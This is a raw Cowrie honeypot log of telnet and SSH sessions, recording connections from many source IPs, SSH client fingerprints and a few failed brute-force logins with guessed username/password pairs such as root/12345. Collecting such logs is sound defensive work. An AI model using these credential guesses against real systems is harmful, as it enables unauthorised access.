{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":48142,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e437402d9d2","protocol":"telnet","message":"New connection: 157.15.20.138:48142 (159.203.135.109:23) [session: 8e437402d9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:35.938942Z"}
{"eventid":"cowrie.session.closed","duration":31.07967185974121,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:36.009782Z","src_ip":"62.171.133.168","session":"d0aeb72064bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.596145629882812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:36.049371Z","src_ip":"62.171.133.168","session":"cbbbac982346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":51534,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0559f13697b","protocol":"telnet","message":"New connection: 157.15.20.138:51534 (159.203.135.109:23) [session: a0559f13697b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:36.212374Z"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":52384,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc5ef97d361b","protocol":"ssh","message":"New connection: 76.127.61.251:52384 (10.17.0.5:22) [session: fc5ef97d361b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:36.342211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:36.346066Z","src_ip":"76.127.61.251","session":"fc5ef97d361b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:36.415736Z","src_ip":"76.127.61.251","session":"fc5ef97d361b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":51544,"dst_ip":"159.203.135.109","dst_port":23,"session":"01f7101f23c2","protocol":"telnet","message":"New connection: 157.15.20.138:51544 (159.203.135.109:23) [session: 01f7101f23c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:36.430963Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf@123123","message":"login attempt [root/asdf@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:36.685474Z","src_ip":"76.127.61.251","session":"fc5ef97d361b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.450669288635254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:36.971286Z","src_ip":"62.171.133.168","session":"40352a809181","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":39696,"dst_ip":"159.203.135.109","dst_port":23,"session":"76dc621bc468","protocol":"telnet","message":"New connection: 62.171.133.168:39696 (159.203.135.109:23) [session: 76dc621bc468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:37.227859Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":39702,"dst_ip":"159.203.135.109","dst_port":23,"session":"61e2367915fd","protocol":"telnet","message":"New connection: 62.171.133.168:39702 (159.203.135.109:23) [session: 61e2367915fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:37.552364Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:37.742659Z","src_ip":"76.127.61.251","session":"fc5ef97d361b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":51550,"dst_ip":"159.203.135.109","dst_port":23,"session":"87c91cbb2c9b","protocol":"telnet","message":"New connection: 157.15.20.138:51550 (159.203.135.109:23) [session: 87c91cbb2c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:37.757166Z"}
{"eventid":"cowrie.session.closed","duration":30.40729284286499,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:38.140759Z","src_ip":"157.15.20.138","session":"41f94a62cc12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":42758,"dst_ip":"159.203.135.109","dst_port":23,"session":"578841624403","protocol":"telnet","message":"New connection: 34.69.118.1:42758 (159.203.135.109:23) [session: 578841624403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:38.555147Z"}
{"eventid":"cowrie.session.closed","duration":30.89781904220581,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:39.129153Z","src_ip":"157.15.20.138","session":"b1533e16104d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.234049797058105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:39.241286Z","src_ip":"103.171.45.122","session":"1265f9919ce0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.064838647842407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:39.363756Z","src_ip":"51.15.157.40","session":"b4940a8d5fa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4469792842865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:39.987492Z","src_ip":"51.15.157.40","session":"66817e7c07f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":48640,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1df5b8ae230","protocol":"telnet","message":"New connection: 62.171.133.168:48640 (159.203.135.109:23) [session: e1df5b8ae230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:40.623340Z"}
{"eventid":"cowrie.session.closed","duration":31.251338243484497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:40.808482Z","src_ip":"157.15.20.138","session":"ed45c1b37137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.734928369522095,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:40.867034Z","src_ip":"34.69.118.1","session":"7ebea80a1763","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:40.917512Z","src_ip":"122.168.114.167","session":"8417cfb11fac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.380930185317993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:41.054300Z","src_ip":"157.15.20.138","session":"4bdfc009accb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106363773345947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:41.077475Z","src_ip":"62.171.133.168","session":"65d195123e8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":48648,"dst_ip":"159.203.135.109","dst_port":23,"session":"526b6c708721","protocol":"telnet","message":"New connection: 62.171.133.168:48648 (159.203.135.109:23) [session: 526b6c708721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:41.235542Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":48650,"dst_ip":"159.203.135.109","dst_port":23,"session":"efaca8c343d2","protocol":"telnet","message":"New connection: 62.171.133.168:48650 (159.203.135.109:23) [session: efaca8c343d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:41.548684Z"}
{"eventid":"cowrie.session.closed","duration":31.130609273910522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:41.861180Z","src_ip":"108.61.224.215","session":"3afa98cbeacc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902193307876587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:42.070060Z","src_ip":"104.236.196.85","session":"92aab87b5902","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.18542671203613,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:42.114021Z","src_ip":"34.69.118.1","session":"8d77e4f39d7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.786534309387207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:42.923269Z","src_ip":"108.61.224.215","session":"10979c0215cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":48652,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2d31428ac3f","protocol":"telnet","message":"New connection: 62.171.133.168:48652 (159.203.135.109:23) [session: f2d31428ac3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:43.397418Z"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:43.421699Z","src_ip":"122.168.114.167","session":"8417cfb11fac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.974976301193237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:43.654277Z","src_ip":"62.171.133.168","session":"f6d3aaf8508e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":48662,"dst_ip":"159.203.135.109","dst_port":23,"session":"16f52e7e478f","protocol":"telnet","message":"New connection: 62.171.133.168:48662 (159.203.135.109:23) [session: 16f52e7e478f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:44.475222Z"}
{"eventid":"cowrie.session.closed","duration":30.71800422668457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:45.123267Z","src_ip":"108.61.224.215","session":"fe8551990f94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.889217376708984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:45.232368Z","src_ip":"157.15.20.138","session":"d0f708a8bc14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.208877563476562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:45.237400Z","src_ip":"103.171.45.122","session":"fe955b841617","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.205.221.209","src_port":42066,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a1e4a28a4f8","protocol":"telnet","message":"New connection: 115.205.221.209:42066 (159.203.135.109:23) [session: 0a1e4a28a4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:45.535622Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":51554,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae3b72b578da","protocol":"telnet","message":"New connection: 157.15.20.138:51554 (159.203.135.109:23) [session: ae3b72b578da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:45.803887Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":56006,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd07f6125c28","protocol":"telnet","message":"New connection: 103.171.45.122:56006 (159.203.135.109:23) [session: dd07f6125c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:46.329236Z"}
{"eventid":"cowrie.session.closed","duration":30.630300045013428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:47.195055Z","src_ip":"51.15.157.40","session":"192973127055","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.133094549179077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:47.296366Z","src_ip":"103.171.45.122","session":"df18ad10c08a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941689491271973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:48.235145Z","src_ip":"103.171.45.122","session":"f5d387deffa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31226897239685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:48.240420Z","src_ip":"103.171.45.122","session":"d37346d57794","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.307843446731567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:48.918056Z","src_ip":"108.61.224.215","session":"406d97f42e2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.990442514419556,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:48.959308Z","src_ip":"185.26.126.47","session":"b5af52aeae66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5354745388031,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:49.238890Z","src_ip":"103.171.45.122","session":"57df6b7cac6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":33290,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe5271902b14","protocol":"ssh","message":"New connection: 190.108.60.101:33290 (10.17.0.5:22) [session: fe5271902b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:49.520367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:49.524989Z","src_ip":"190.108.60.101","session":"fe5271902b14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":56012,"dst_ip":"159.203.135.109","dst_port":23,"session":"5549aca28421","protocol":"telnet","message":"New connection: 103.171.45.122:56012 (159.203.135.109:23) [session: 5549aca28421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:49.607862Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":52400,"dst_ip":"159.203.135.109","dst_port":23,"session":"67c1e901a495","protocol":"telnet","message":"New connection: 51.15.157.40:52400 (159.203.135.109:23) [session: 67c1e901a495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:49.679258Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:49.735312Z","src_ip":"190.108.60.101","session":"fe5271902b14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.972700834274292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:50.070899Z","src_ip":"62.171.133.168","session":"44928fe50c35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.222906827926636,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:50.155297Z","src_ip":"157.15.20.138","session":"1fc8c887552a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@2022","message":"login attempt [test/test@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:50.592104Z","src_ip":"190.108.60.101","session":"fe5271902b14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":55828,"dst_ip":"159.203.135.109","dst_port":23,"session":"53a08c8506c3","protocol":"telnet","message":"New connection: 51.15.157.40:55828 (159.203.135.109:23) [session: 53a08c8506c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:50.712114Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":56028,"dst_ip":"159.203.135.109","dst_port":23,"session":"94022c2020bd","protocol":"telnet","message":"New connection: 103.171.45.122:56028 (159.203.135.109:23) [session: 94022c2020bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:50.900189Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":56036,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dc993c5d591","protocol":"telnet","message":"New connection: 103.171.45.122:56036 (159.203.135.109:23) [session: 7dc993c5d591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:50.924484Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":39250,"dst_ip":"159.203.135.109","dst_port":23,"session":"cee90599030b","protocol":"telnet","message":"New connection: 157.15.20.138:39250 (159.203.135.109:23) [session: cee90599030b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:50.939403Z"}
{"eventid":"cowrie.session.closed","duration":30.832946062088013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:51.118631Z","src_ip":"62.171.133.168","session":"a5fd7cfa10fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:51.803832Z","src_ip":"190.108.60.101","session":"fe5271902b14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.814371585845947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:51.998348Z","src_ip":"62.171.133.168","session":"6d0cd77a892b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.16097593307495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:52.006510Z","src_ip":"62.171.133.168","session":"b7771ce09756","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803079843521118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:52.240366Z","src_ip":"157.15.20.138","session":"6e044cceabae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16664171218872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:52.919415Z","src_ip":"157.15.20.138","session":"86756acf8c8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.805148124694824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:52.977968Z","src_ip":"62.171.133.168","session":"55c0d1a992bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":39258,"dst_ip":"159.203.135.109","dst_port":23,"session":"07b80c5e3718","protocol":"telnet","message":"New connection: 157.15.20.138:39258 (159.203.135.109:23) [session: 07b80c5e3718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:53.294031Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":45850,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c1690622129","protocol":"telnet","message":"New connection: 62.171.133.168:45850 (159.203.135.109:23) [session: 7c1690622129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:53.724673Z"}
{"eventid":"cowrie.session.closed","duration":30.49643850326538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:53.747791Z","src_ip":"108.61.224.215","session":"13b69a323122","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":39264,"dst_ip":"159.203.135.109","dst_port":23,"session":"24adb3c2b0b9","protocol":"telnet","message":"New connection: 157.15.20.138:39264 (159.203.135.109:23) [session: 24adb3c2b0b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:54.624894Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":49502,"dst_ip":"159.203.135.109","dst_port":23,"session":"a303ffa8da29","protocol":"telnet","message":"New connection: 103.171.45.122:49502 (159.203.135.109:23) [session: a303ffa8da29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:54.747516Z"}
{"eventid":"cowrie.session.closed","duration":31.141542196273804,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:54.953574Z","src_ip":"34.69.118.1","session":"ed9b1c5260d6","protocol":"telnet"}
